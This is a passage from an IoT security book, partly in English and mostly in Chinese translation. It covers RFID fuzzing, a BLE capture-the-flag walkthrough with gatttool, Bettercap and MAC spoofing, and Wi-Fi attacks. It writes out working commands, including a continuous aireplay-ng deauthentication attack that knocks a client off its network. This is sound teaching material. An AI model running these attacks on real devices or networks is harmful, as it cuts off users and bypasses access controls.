a0 b6 b4 , numreads:0, flags:2 (0x02) Randomizing block 5 and byte 8 636f6dfe600000000000000000000000 mf sim cardsize: 1K, uid: ce a0 b6 b4 , numreads:0, flags:2 (0x02) Randomizing block 5 and byte 19 636f6dfe600000000004000000000000 ... ``` The output should contain the exact mutation that occurs in each data exchange with the reader. In each established communication, the reader will attempt to retrieve and parse the mutated tag data. Depending on the mutation, these inputs can affect the reader’s business logic, leading to undefined behavior or even application crashes. In the worst-case scenario, an RFID-enabled door lock hosting an access-control software might crash upon receiving the mutated input, allowing anyone to freely open the door. We can evaluate the success of our fuzzer through experimentation. We’d measure the number of possibly exploitable bugs identified by crashing inputs. Note that this script is a simplified fuzzer that follows a naive approach: it uses simple random numbers to create the mutations in the given inputs. As a result, we don’t expect it to be very efficient at identifying software crashes. Less naive solutions would use improved mutations, map out the protocol to be fuzzed in detail, or even leverage program analysis and instrumentation techniques to interact with a greater amount of the reader’s code. This would require meticulously examining the documentation and constantly improving your fuzzer. For this purpose, try advanced fuzzing tools, such as the American Fuzzy Lop (AFL) or libFuzzer. This task is beyond the scope of this book, and we leave it as an exercise for you to complete. ## Conclusion In this chapter, we investigated RFID technology and covered a number of cloning attacks against common low-frequency and high-frequency RFID implementations. We examined how to retrieve a key to access the password-protected memory of the MIFARE Classic cards and then read and alter their memory. Finally, we walked through a technique that allows you to send raw commands to any type of ISO14493-compatible RFID tag based on its specification, and we used the Proxmark3 scripting engine to create a simplified fuzzer for RFID readers.*````
第十一章:低功耗蓝牙

低功耗蓝牙(BLE) 是蓝牙无线技术的一种版本,物联网设备经常使用它,因为其低功耗消耗和比之前版本更简单的配对过程。但 BLE 也能保持相似,甚至更大的通信范围。你可以在各种设备中找到它,从常见的健康小工具,如智能手表或智能水瓶,到关键的医疗设备,如胰岛素泵和心脏起搏器。在工业环境中,你会看到它被应用在各种传感器、节点和网关中。它甚至被用于军事中,其中武器组件,如步枪瞄准镜,通过蓝牙远程操作。当然,这些设备已经被黑客攻击过。
这些设备使用蓝牙技术,利用该无线通信协议的简单性和稳健性,但这样做会增加设备的攻击面。在本章中,你将学习 BLE 通信的工作原理,探索与 BLE 设备通信的常见硬件和软件,并掌握有效识别和利用安全漏洞的技巧。你将使用 ESP32 开发板搭建实验室,并逐步完成为 BLE 专门设计的高级抓旗(CTF)练习的各个关卡。阅读完本章后,你应该能够应对该 CTF 实验室中的一些未解难题。
BLE 工作原理
BLE 的功耗远低于传统蓝牙,但它能非常高效地传输少量数据。自蓝牙 4.0 规范发布以来,BLE 只使用 40 个频道,覆盖 2400 到 2483.5 MHz 的范围。相比之下,传统蓝牙使用该范围内的 79 个频道。
尽管每个应用都以不同的方式使用这项技术,但 BLE 设备最常见的通信方式是通过发送广告数据包。这些数据包,也被称为信标,将 BLE 设备的存在广播给其他附近的设备(图 11-1)。这些信标有时也会发送数据。

图 11-1:BLE 设备发送广告数据包以发起 SCAN 请求。
为了减少功耗,BLE 设备只在需要连接和交换数据时发送广告数据包;其他时间它们会进入休眠状态。监听设备,也叫做中央设备,可以对广告数据包做出响应,发送特定给广告设备的SCAN 请求。该扫描响应使用与广告数据包相同的结构,包含初始广告请求中未能包含的附加信息,例如完整的设备名称或厂商需要的其他信息。
图 11-2 展示了 BLE 的数据包结构。

图 11-2:BLE 的数据包结构
前导字节用于同步频率,而四字节的访问地址是连接标识符,用于多个设备尝试在相同频道上建立连接的场景。接下来,协议数据单元(PDU)包含广告数据。PDU 有几种类型;最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备不接受连接,它们使用 ADV_NONCONN_IND 类型的 PDU,只在广告数据包中传输数据。如果设备允许连接并且连接已建立,它们将停止发送广告数据包并使用 ADV_IND 类型。图 11-3 展示了 Wireshark 捕获中的 ADV_IND 数据包。

图 11-3:Wireshark 显示树,展示了类型为 ADV_IND 的 BLE 广告数据包
使用的数据包类型取决于 BLE 实现和项目要求。例如,你会在智能物联网设备中找到 ADV_IND 数据包,比如智能水瓶或手表,因为这些设备在执行进一步操作之前会先寻求与中央设备的连接。另一方面,你可能会在信标中找到 ADV_NONCONN_IND 数据包,用于检测物体与安装在各种设备中的传感器的接近程度。
通用访问配置文件与通用属性配置文件
所有 BLE 设备都有一个通用访问配置文件 (GAP),它定义了设备如何连接到其他设备、与之通信并通过广播使自己可供发现。外设设备只能连接一个中央设备,而中央设备则可以连接到中央设备能够支持的多个外设设备。建立连接后,外设不再接受任何其他连接。对于每个连接,外设会间隔一定时间发送广告探测包,使用三种不同的频率,直到中央设备响应并且外设确认响应,表明它准备好开始连接。
通用属性配置文件 (GATT) 定义了设备应如何格式化和传输数据。当你分析一个 BLE 设备的攻击面时,通常会集中关注 GATT(或多个 GATT),因为这是设备功能被触发的方式,以及数据是如何存储、分组和修改的。GATT 列出了设备的特性、描述符和服务,以 16 位或 32 位值的形式展示在表格中。特性是中央设备与外设之间传输的数据值。这些特性可以有描述符,提供有关它们的附加信息。当特性与执行特定操作相关时,它们通常会被分组在服务中。服务可以包含多个特性,如图 11-4 所示。

图 11-4:GATT 服务器结构由服务、特性和描述符组成。
使用 BLE
在本节中,我们将介绍与 BLE 设备通信所需的硬件和软件。我们将向你介绍可以用来建立 BLE 连接的硬件,以及与其他设备交互的软件。
BLE 硬件
你可以选择各种硬件来与 BLE 交互。如果只是简单地发送和接收数据,集成接口或便宜的 BLE USB 加密狗可能就足够了。但如果要嗅探并进行低级协议破解,你需要更强大的设备。这些设备的价格差异很大;你可以在“物联网黑客工具”一节中找到与 BLE 交互的硬件清单。
在本章中,我们将使用 Espressif Systems 的 ESP32 WROOM 开发板(www.espressif.com/),该开发板支持 2.4 GHz Wi-Fi 和 BLE(图 11-5)。

图 11-5:ESP32 WROOM 开发板
它具有嵌入式闪存,并且可以通过微型 USB 电缆进行编程和供电。它非常紧凑且价格实惠,天线范围对于其尺寸来说相当不错。你还可以为其他攻击编程它,比如对 Wi-Fi 的攻击。
BlueZ
根据你使用的设备,你可能需要安装所需的固件或驱动程序,以便软件能够被识别并正常工作。在 Linux 中,你很可能会使用BlueZ,官方的蓝牙协议栈,尽管一些适配器如 Broadcom 或 Realtek 也有专有驱动程序。我们将在本节中介绍的工具都能与 BlueZ 即插即用。
如果你遇到 BlueZ 问题,请确保安装最新版本,访问www.bluez.org/download/,因为你可能在使用 Linux 发行版的软件包管理器中预装的早期版本。
配置 BLE 接口
Hciconfig 是一个 Linux 工具,可以用来配置和测试你的 BLE 连接。如果你在没有任何参数的情况下运行 Hciconfig,你应该能够看到你的蓝牙接口。你还应该看到状态 UP 或 DOWN,表示蓝牙适配器接口是否启用:
# hciconfig
hci0: Type: Primary Bus: USB
BD Address: 00:1A:7D:DA:71:13 ACL MTU: 310:10 SCO MTU: 64:8
UP RUNNING
RX bytes:1280 acl:0 sco:0 events:66 errors:0
TX bytes:3656 acl:0 sco:0 commands:50 errors:0
如果你没有看到你的接口,确保驱动程序已加载。在 Linux 系统中,内核模块名应该是 bluetooth。使用 modprobe 命令并加上 -c 选项查看模块配置:
# modprobe -c bluetooth
你还可以尝试通过以下命令关闭接口再重新启动:
# hciconfig hci0 down && hciconfig hci0 up
如果这样不行,尝试重置它:
# hciconfig hci0 reset
你还可以使用 -a 选项列出更多信息:
# hciconfig hci0 -a
hci0: Type: Primary Bus: USB
BD Address: 00:1A:7D:DA:71:13 ACL MTU: 310:10 SCO MTU: 64:8
UP RUNNING
RX bytes:17725 acl:0 sco:0 events:593 errors:0
TX bytes:805 acl:0 sco:0 commands:72 errors:0
Features: 0xff 0xff 0x8f 0xfe 0xdb 0xff 0x5b 0x87
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH HOLD SNIFF PARK
Link mode: SLAVE ACCEPT
Name: 'CSR8510 A10'
Class: 0x000000
Service Classes: Unspecified
Device Class: Miscellaneous,
HCI Version: 4.0 (0x6) Revision: 0x22bb
LMP Version: 4.0 (0x6) Subversion: 0x22bb
Manufacturer: Cambridge Silicon Radio (10)
发现设备并列出特征
如果一个支持 BLE 的物联网设备没有得到适当保护,你可以拦截、分析、修改并重新传输其通信数据,以操控该设备的操作。总体而言,评估具有 BLE 的物联网设备的安全性时,你应该遵循以下过程:
-
发现 BLE 设备地址
-
枚举 GATT 服务器
-
通过列出的特征、服务和属性识别它们的功能。
-
通过读写操作来操控设备功能。
现在我们使用两个工具:GATTTool 和 Bettercap,来逐步演示这些步骤。
GATTTool
GATTTool 是 BlueZ 的一部分。你将主要使用它进行一些操作,例如与另一设备建立连接、列出该设备的特征以及读取和写入其属性。运行 GATTTool 不带任何参数,可以查看支持的操作列表。
GATTTool 可以通过 -I 选项启动交互式 shell。以下命令设置 BLE 适配器接口,以便你可以连接到设备并列出其特征:
# gatttool -i hci0 -I
在交互式 shell 中,使用 connect <mac 地址> 命令建立连接;然后通过 characteristics 子命令列出特征:
[ ][LE]> **connect 24:62:AB:B1:A8:3E**
Attempting to connect to A4:CF:12:6C:B3:76
Connection successful
[A4:CF:12:6C:B3:76][LE]> **characteristics**
handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
…
handle: 0x0055, char properties: 0x02, char value handle: 0x0056, uuid: 0000ff17-0000-1000-8000-00805f9b34fb
[A4:CF:12:6C:B3:76][LE]> exit
现在,我们已经获取到描述 BLE 设备支持的数据和操作的句柄、值和服务。
让我们使用 Bettercap 来分析这些信息,这是一个更强大的工具,能够以人类可读的格式展示信息。
Bettercap
Bettercap (www.bettercap.org/) 是一款扫描和攻击 2.4 GHz 频率设备的工具。它提供了一个友好的界面(甚至是 GUI)和可扩展的模块,用于执行 BLE 扫描和攻击的最常见任务,如监听广播包和执行读/写操作。此外,你还可以使用它进行 Wi-Fi、HID 和其他技术的攻击,例如中间人攻击或其他战术。
Bettercap 默认安装在 Kali 中,并且可以通过大多数 Linux 包管理器获得。你可以通过以下命令从 Docker 安装并运行它:
# docker pull bettercap/bettercap
# docker run -it --privileged --net=host bettercap/bettercap -h
要发现 BLE 启用的设备,启用 BLE 模块并使用 ble.recon 选项开始捕获信标。在加载 Bettercap 时,使用 --eval 选项调用它会自动执行 Bettercap 命令:
# bettercap --eval “ble.recon on”
Bettercap v2.24.1 (built for linux amd64 with go1.11.6) [type ‘help’ for a list of commands]
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device BLECTF detected as A4:CF:12:6C:B3:76 -46 dBm
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device BLE_CTF_SCORE detected as 24:62:AB:B1:AB:3E -33 dBm
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device detected as 48:1A:76:61:57:BA (Apple, Inc.) -69 dBm
你应该能看到每个接收到的 BLE 广播包的一行。这些信息应该包括设备名称和 MAC 地址,你将需要这些信息来与设备建立通信。
如果你使用 eval 选项启动了 Bettercap,你可以自动记录所有已发现的设备。然后,你可以方便地使用 ble.show 命令列出已发现的设备及其相关信息,如 MAC 地址、厂商和标志(图 11-6)。
>> **ble.show**
注意,ble.show 命令的输出包含信号强度(RSSI)、我们将用于连接设备的广播 MAC 地址以及厂商信息,这些可以帮助我们猜测设备类型。它还显示了支持的协议组合、连接状态以及最后接收到的信标时间戳。

图 11-6:Bettercap 显示已发现的设备
枚举特征、服务和描述符
一旦我们识别出目标设备的 MAC 地址,就可以运行以下 Bettercap 命令。该命令会获得一个格式良好的表格,按服务将特性分组,显示其属性及可通过 GATT 访问的数据:
>> **ble.enum** `<mac addr>`
图 11-7 显示了结果表格。

图 11-7:使用 Bettercap 枚举 GATT 服务器
在数据列中,我们可以看到这个 GATT 服务器是一个 CTF 仪表板,描述了不同的挑战,以及提交答案和检查分数的说明。
这是学习实际攻击的有趣方式。但在我们跳入解决一个挑战之前,确保你知道如何执行经典的读写操作。你将用这些操作进行侦察,并写入数据来改变设备的状态。当句柄允许这些操作时,WRITE 属性会被高亮显示;请密切注意支持这些操作的句柄,因为它们经常被配置错误。
读取和写入特性
在 BLE 中,UUID 唯一标识特性、服务和属性。一旦你知道某个特性的 UUID,就可以使用 ble.write Bettercap 命令向其写入数据:
>> **ble.write** `<MAC ADDR> <UUID> <HEX DATA>`
你必须以十六进制格式发送所有数据。例如,要将单词“hello”写入特性 UUID ff06,你可以在 Bettercap 的交互式 shell 中发送以下命令:
>> **ble.write** `<mac address of device>` **ff06 68656c6c6f**
你也可以使用 GATTTool 来读写数据。GATTTool 支持额外的输入格式来指定处理程序或 UUID。例如,要使用 GATTTool 发出 write 命令,而不是使用 Bettercap,可以使用以下命令:
# gatttool -i `<Bluetooth adapter interface>` **-b** `<MAC address of device>` **--char-write-req** `<characteristic handle> <value>`
现在,让我们用 GATTTool 来练习读取数据。从处理程序 0x16 获取设备名称。(这是协议预留的字段,用来表示设备名称。)
# gatttool -i <***Bluetooth adapter interface*****> -b <*****MAC address of device*****> --char-read -a 0x16**
# gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x16
Characteristic value/descriptor: 32 62 30 30 30 34 32 66 37 34 38 31 63 37 62 30 35 36 63 34 62 34 31 30 64 32 38 66 33 33 63 66
现在你可以发现设备,列出特性,并读写数据,尝试操控设备的功能。你已经准备好开始进行 BLE 黑客攻击了。
BLE 黑客攻击
在本节中,我们将通过一个 CTF 来帮助你练习 BLE 黑客攻击:BLE CTF Infinity 项目(github.com/hackgnar/ble_ctf_infinity/)。解决 CTF 挑战需要使用基础和高级概念。这个 CTF 运行在 ESP32 WROOM 板上。
我们将使用 Bettercap 和 GATTTool,因为在某些任务中,一种工具往往比另一种工具更有效。通过解决这个 CTF 的实际挑战,你将学习如何探索未知设备,发现其功能并操控这些设备的状态。在继续之前,确保你已经按照 docs.espressif.com/projects/esp-idf/en/latest/get-started/ 上的说明设置好你的开发环境和工具链。绝大多数步骤将按文档所述进行,但有一些我们稍后会提到的考虑事项。
设置 BLE CTF Infinity
为了构建 BLE CTF Infinity,我们建议使用 Linux 主机,因为 make 文件会对源代码执行一些额外的复制操作(如果你更喜欢在 Windows 上构建,可以自由编写 CMakeLists.txt 文件)。你需要的构建文件已包含在本书的资源中,地址为 nostarch.com/practical-iot-hacking/。要成功构建,你需要执行以下操作:
-
在项目的 root 文件夹中创建一个名为 main 的空文件夹。
-
执行
make menuconfig。确保你的串口设备已配置并启用蓝牙,并且编译器警告不会被视为错误。再次提醒,我们将为本书的构建提供 sdkconfig 文件。 -
运行
make codegen来运行 Python 脚本,该脚本将源文件复制到 main 文件夹中等操作。 -
编辑文件 main/flag_scoreboard.c,并将变量
string_total_flags[]从0更改为00。 -
运行
make来构建 CTF,运行make flash来烧录板子。过程完成后,CTF 程序将自动启动。
一旦 CTF 启动,你应该能够在扫描时看到信标。另一种选择是通过与指定的串口(默认波特率为 115200)通信,并检查调试输出。
…
I (1059) BLE_CTF: create attribute table successfully, the number handle = 31
I (1059) BLE_CTF: SERVICE_START_EVT, status 0, service_handle 40
I (1069) BLE_CTF: advertising start successfully
入门
找到记分板,显示提交标志的句柄、导航挑战的句柄以及重置 CTF 的另一个句柄。然后使用你喜欢的工具列出特性(图 11-8)。
0030 句柄让你能够在挑战中进行导航。使用 Bettercap,将值 0001 写入该句柄以进入标志 #1:
>> **ble.write a4:cf:12:6c:b3:76 ff02 0001**
要使用 GATTTool 做同样的事情,请使用以下命令:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0001

图 11-8:Bettercap 枚举 BLE CTF Infinity
一旦你写入了特性,信标名称将指示你正在查看 GATT 服务器上的标志 #1。例如,Bettercap 会显示类似以下的输出:
[ble.device.new] new BLE device FLAG_01 detected as A4:CF:12:6C:B3:76 -42 dBm
这将显示一个新的 GATT 表格,每个挑战一个。现在你已经熟悉了基本的导航,让我们回到记分板:
[a4:cf:12:6c:b3:76][LE]> **char-write-req 0x002e 0x1**
让我们从标志 #0 开始。通过将值 0000 写入 0x0030 句柄来导航到它:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000
有趣的是,挑战 0 似乎仅仅是初始的 GATT 服务器显示记分板(图 11-9)。我们是不是错过了什么?
经过仔细观察,设备名称 04dc54d9053b4307680a 看起来像一个标志,对吧?让我们通过将设备名称作为答案提交到句柄 002e 来测试一下。请注意,如果使用 GATTTool,你需要以十六进制格式化它:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
Characteristic value was written successfully
当我们检查记分板时,我们看到它成功了,因为标志 0 显示为已完成。我们已经解决了第一个挑战。恭喜!

图 11-9:BLE CTF INFINITY 记分板的特性
标志 1:检查特性和描述符
现在使用以下命令导航到 FLAG_01:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000
对于这个标志,我们再次从检查 GATT 表开始。让我们尝试使用 GATTTool 列出特征和描述符:
# gatttool -b a4:cf:12:6c:b3:76 -I
[a4:cf:12:6c:b3:76][LE]> connect
Attempting to connect to a4:cf:12:6c:b3:76
Connection successful
[a4:cf:12:6c:b3:76][LE]> primary
attr handle: 0x0001, end grp handle: 0x0005 uuid: 00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x0014, end grp handle: 0x001c uuid: 00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0028, end grp handle: 0xffff uuid: 000000ff-0000-1000-8000-00805f9b34fb
write-req characteristics
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0001
Characteristic value/descriptor: 01 18
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0014
Characteristic value/descriptor: 00 18
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0028
Characteristic value/descriptor: ff 00
[a4:cf:12:6c:b3:76][LE]> char-desc
handle: 0x0001, uuid: 00002800-0000-1000-8000-00805f9b34fb
…
handle: 0x002e, uuid: 0000ff03-0000-1000-8000-00805f9b34fb
在检查每个描述符后,我们在句柄 0x002c 中发现一个类似标志的值。要读取句柄的描述符值,我们可以使用 char-read-hnd <handle> 命令,像这样:
**[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x002c**
Characteristic value/descriptor: 38 37 33 63 36 34 39 35 65 34 65 37 33 38 63 39 34 65 31 63
记住,输出是十六进制格式的,因此它对应的 ASCII 文本是 873c6495e4e738c94e1c。
我们找到了标志!返回到积分榜并提交新的标志,就像我们之前提交标志 0 一样:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "873c6495e4e738c94e1c"|xxd -ps)
Characteristic value was written successfully
我们也可以使用 bash 自动化发现这个标志。在这种情况下,我们将遍历各个处理程序以读取每个处理程序的值。我们可以轻松地将以下脚本重写为一个简单的模糊测试工具,它写入值而不是执行 --char-read 操作:
#!/bin/bash
for i in {1..46}
do
VARX=`printf '%04x\n' $i`
echo "Reading handle: $VARX"
gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x$VARX
sleep 5
done
当我们运行脚本时,我们应该从句柄中获取信息:
Reading handle: 0001
Characteristic value/descriptor: 01 18
Reading handle: 0002
Characteristic value/descriptor: 20 03 00 05 2a
…
Reading handle: 002e
Characteristic value/descriptor: 77 72 69 74 65 20 68 65 72 65 20 74 6f 20 67 6f 74 6f 20 74 6f 20 73 63 6f 72 65 62 6f 61 72 64
标志 2:身份验证
当你查看 FLAG_02 GATT 表时,你应该会在句柄 0x002c 上看到“身份验证不足”消息。你还应该在句柄 0x002a 上看到“使用 PIN 0000 连接”消息(图 11-10)。此挑战模拟了一种使用弱 PIN 码进行身份验证的设备。

图 11-10:我们需要进行身份验证才能读取 002c 句柄。
提示表明我们需要建立一个安全连接才能读取受保护的 0x002c 句柄。为此,我们使用带有 --sec-level=high 选项的 GATTTool,该选项将连接的安全级别设置为高,并在读取值之前建立经过身份验证的加密连接(AES-CMAC 或 ECDHE):
# gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Characteristic value/descriptor: 35 64 36 39 36 63 64 66 35 33 61 39 31 36 63 30 61 39 38 64
太棒了!这次,在将十六进制转换为 ASCII 后,我们得到标志 5d696cdf53a916c0a98d,而不是“身份验证不足”消息。回到积分榜并提交它,如之前所示:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "5d696cdf53a916c0a98d"|xxd -ps)
Characteristic value was written successfully
标志是正确的,如积分榜所示!我们已经解决了挑战 #2。
标志 3:伪造你的 MAC 地址
导航到 FLAG_03 并枚举其 GATT 服务器中的服务和特征。在句柄 0x002a 上会看到“使用 MAC 11:22:33:44:55:66 连接”消息(图 11-11)。这个挑战要求我们学习如何伪造连接的 MAC 地址来源来读取该句柄。

图 11-11:使用 Bettercap 查看 FLAG_3 特征
这意味着我们必须伪造真实的蓝牙 MAC 地址以获取标志。虽然你可以使用 Hciconfig 来发出改变 MAC 地址的命令,但spooftooph Linux 工具更易于使用,因为它不需要你发送原始命令。可以通过你喜欢的软件包管理器安装它,并运行以下命令将你的 MAC 地址设置为消息中提到的地址:
# spooftooph -i hci0 -a 11:22:33:44:55:66
Manufacturer: Cambridge Silicon Radio (10)
Device address: 00:1A:7D:DA:71:13
New BD address: 11:22:33:44:55:66
Address changed
使用 hciconfig 验证你的新伪造 MAC 地址:
# hciconfig
hci0: Type: Primary Bus: USB
BD Address: 11:22:33:44:55:66 ACL MTU: 310:10 SCO MTU: 64:8
UP RUNNING
RX bytes:682 acl:0 sco:0 events:48 errors:0
TX bytes:3408 acl:0 sco:0 commands:48 errors:0
使用 Bettercap 的 ble.enum 命令,再次查看此挑战的 GATT 服务器。这次,你应该在 0x002c 句柄上看到一个新的标志(图 11-12)。

图 11-12:连接到目标 MAC 地址后显示的 FLAG_3。
返回到记分板并提交你的新旗帜:
# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "0ad3f30c58e0a47b8afb"|xxd -ps)
Characteristic value was written successfully
然后检查记分板,查看你更新后的得分(图 11-13)。

图 11-13:完成第一个挑战后的记分板
结论
在简要介绍完 BLE 黑客攻击后,我们希望能够激励你继续解决 CTF 挑战。它们将展示你在评估 BLE 启用设备时每天都需要处理的实际任务。我们展示了核心概念和一些最常见的攻击,但请记住,你也可以执行其他攻击,例如中间人攻击,特别是当设备未使用安全连接时。
目前存在许多特定协议实现的漏洞。对于每一个使用 BLE 的新应用程序或协议,程序员都有可能犯错,从而在其实现中引入安全漏洞。尽管新的蓝牙版本(5.0)现在已经推出,但采用过程仍然缓慢,因此在未来几年你仍会看到大量的 BLE 设备。**
第十二章:中程无线电:破解 Wi-Fi

中程无线电技术可以连接设备,覆盖范围可达 100 米(大约 328 英尺)。在本章中,我们重点介绍 Wi-Fi,这是物联网设备中最流行的技术。
我们将解释 Wi-Fi 的工作原理,并描述一些针对 Wi-Fi 的最重要攻击。通过使用各种工具,我们执行去关联和关联攻击。我们还会滥用 Wi-Fi Direct,并介绍一些破解 WPA2 加密的常见方法。
Wi-Fi 的工作原理
其他中程无线电技术,如 Thread、Zigbee 和 Z-Wave,设计用于低速率应用,最大速度为 250Kbps,但 Wi-Fi 是为高速数据传输而创建的。与其他技术相比,Wi-Fi 的功耗也更高。
Wi-Fi 连接涉及一个接入点(AP),这是允许 Wi-Fi 设备连接到网络的网络设备,以及可以连接到 AP 的客户端。当客户端成功连接到 AP 并且数据在它们之间自由流动时,我们说客户端与 AP关联。我们常用站点(STA)一词来指代任何能够使用 Wi-Fi 协议的设备。
Wi-Fi 网络可以在开放模式或安全模式下运行。在开放模式下,AP 不需要认证,任何试图连接的客户端都会被接受。在安全模式下,客户端连接到 AP 之前,必须进行某种形式的认证。某些网络还可以选择隐藏;在这种情况下,网络不会广播其 ESSID。ESSID是网络的名称,例如“Guest”或“Free-WiFi”。BSSID是网络的 MAC 地址。
Wi-Fi 连接使用802.11协议组进行数据共享,这是一组实现 Wi-Fi 通信的协议。802.11 频谱中有 15 种不同的协议,它们通过字母进行标记。你可能已经熟悉 802.11 a/b/g/n/ac,因为在过去的 20 年里,你可能已经使用过其中的某些或全部协议。这些协议支持不同的调制方式,并在不同的频率和物理层上工作。
在 802.11 中,数据通过三种主要的帧类型传输:数据帧、控制帧和管理帧。本章的目的是只处理管理帧。管理帧用于管理网络;例如,它在搜索网络、认证客户端,甚至将客户端与接入点(AP)关联时都会使用。
Wi-Fi 安全评估的硬件
通常,Wi-Fi 安全评估包括对接入点(AP)和无线站点的攻击。在测试物联网(IoT)网络时,这两种攻击都至关重要,因为越来越多的设备不仅能够连接到 Wi-Fi 网络,还可以作为接入点(AP)提供服务。
在针对物联网设备进行无线评估时,您需要一张支持 AP 监控模式并具备数据包注入功能的无线网卡。监控模式让您的设备能够监控从无线网络接收到的所有流量。数据包注入功能允许您的网卡伪造数据包,使其看起来像是来自不同的源。为了本章的目的,我们使用了一张 Alfa Atheros AWUS036NHA 网卡。
此外,您可能还需要一个可配置的 AP 来测试各种 Wi-Fi 设置。我们使用了一个便携式 TP-Link AP,但实际上任何 AP 都可以。除非攻击是红队演习的一部分,否则 AP 的传输功率或您使用的天线类型并不重要。
针对无线客户端的 Wi-Fi 攻击
针对无线客户端的攻击通常利用 802.11 管理帧没有加密保护的事实,从而使数据包暴露于窃听、修改或重放。您可以通过关联攻击来完成所有这些攻击,关联攻击让攻击者成为中间人。攻击者还可以执行去认证和拒绝服务攻击,这会干扰受害者与 AP 的 Wi-Fi 连接。
去认证和拒绝服务攻击
802.11 中的管理帧无法阻止攻击者伪造设备的 MAC 地址。因此,攻击者可以伪造去认证或断开关联帧。这些是通常用于终止客户端与 AP 连接的管理帧。例如,当客户端连接到另一个 AP 或只是从原始网络断开时,会发送这些帧。如果伪造,攻击者可以利用这些帧中断与特定客户端的现有关联。
另外,攻击者可以通过向 AP 发送大量认证请求,来代替使客户端断开与 AP 的关联。这些请求会导致拒绝服务攻击,阻止合法客户端连接到 AP。
这两种攻击是已知的拒绝服务攻击,在802.11w中得到了缓解,但该标准在物联网领域尚未普及。在本节中,我们将执行一种去认证攻击,断开所有无线客户端与 AP 的连接。
如果您没有使用 Kali(其预装了 Aircrack-ng 套件),请先安装 Aircrack-ng 套件。Aircrack-ng包含 Wi-Fi 评估工具。确保插入支持数据包注入功能的网卡。然后使用iwconfig工具识别连接到您系统的无线网卡的接口名称:
# apt-get install aircrack-ng
#**iwconfig**
docker0 no wireless extensions.
lo no wireless extensions.
1 wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
eth0 no wireless extensions.
输出显示无线接口是wlan0 1。
由于系统中的某些进程可能会干扰 Aircrack-ng 工具包的使用,因此请使用 Airmon-ng 工具来检查并自动终止这些进程。为此,首先使用ifconfig禁用无线接口:
# ifconfig wlan0 down
# airmon-ng check kill
Killing these processes:
PID Name
731 dhclient
1357 wpa_supplicant
现在使用 Airmon-ng 将无线网卡设置为监控模式:
# airmon-ng start wlan0
**PHY Interface Driver Chipset**
**phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n**
**(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)**
**(mac80211 station mode vif disabled for [phy0]wlan0)**
该工具创建了一个名为wlan0mon的新接口,你可以使用它运行一个基本的嗅探会话,使用 Airodump-ng。以下命令识别 AP 的 BSSID(其 MAC 地址)和其传输的频道:
# airodump-ng wlan0**mon**
CH 11 ][ Elapsed: 36 s ][ 2019-09-19 10:47
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
6F:20:92:11:06:10 -77 15 0 0 6 130 WPA2 CCMP PSK ZktT 2.4Ghz
6B:20:9F:10:15:6E -85 14 0 0 11 130 WPA2 CCMP PSK 73ad 2.4Ghz
7C:31:53:D0:A7:CF -86 13 0 0 11 130 WPA2 CCMP PSK A7CF 2.4Ghz
82:16:F9:6E:FB:56 -40 11 39 0 6 65 WPA2 CCMP PSK Secure Home
E5:51:61:A1:2F:78 -90 7 0 0 1 130 WPA2 CCMP PSK EE-cwwnsa
当前,BSSID 是82:16:F9:6E:FB:56,频道是6。我们将此数据传递给 Airodump-ng 以识别连接到 AP 的客户端:
# airodump-ng wlan0mon --bssid 82:16:F9:6E:FB:56
CH 6 |[ Elapsed: 42 s ] [ 2019-09-19 10:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
82:16:F9:6E:FB:56 -37 24 267 2 6 65 WPA2 CCMP PSK Secure Home
BSSID STATION PWR Rate Lost Frames Probe
82:16:F9:6E:FB:56 50:82:D5:DE:6F:45 -28 0e- 0e 904 274
根据此输出,我们识别出一个连接到 AP 的客户端。该客户端的 BSSID 是 50:82:D5:DE:6F:45(他们无线网络接口的 MAC 地址)。
现在,你可以向客户端发送多个断开连接数据包,迫使客户端失去互联网连接。为了执行此攻击,我们使用 Aireplay-ng:
# aireplay-ng --deauth 0 -c 50:82:D5:DE:6F:45 -a 82:16:F9:6E:FB:56 wlan0mon
--deauth参数指定了断开连接攻击和将要发送的断开连接数据包数量。选择0表示数据包将被持续发送。-a参数指定 AP 的 BSSID,-c参数指定目标设备。下一个列表显示了命令的输出:
11:03:55 Waiting for beacon frame (BSSID: 82:16:F9:6E:FB:56) on channel 6
11:03:56 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [ 0|64 ACKS]
11:03:56 Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45] [66|118 ACKS]
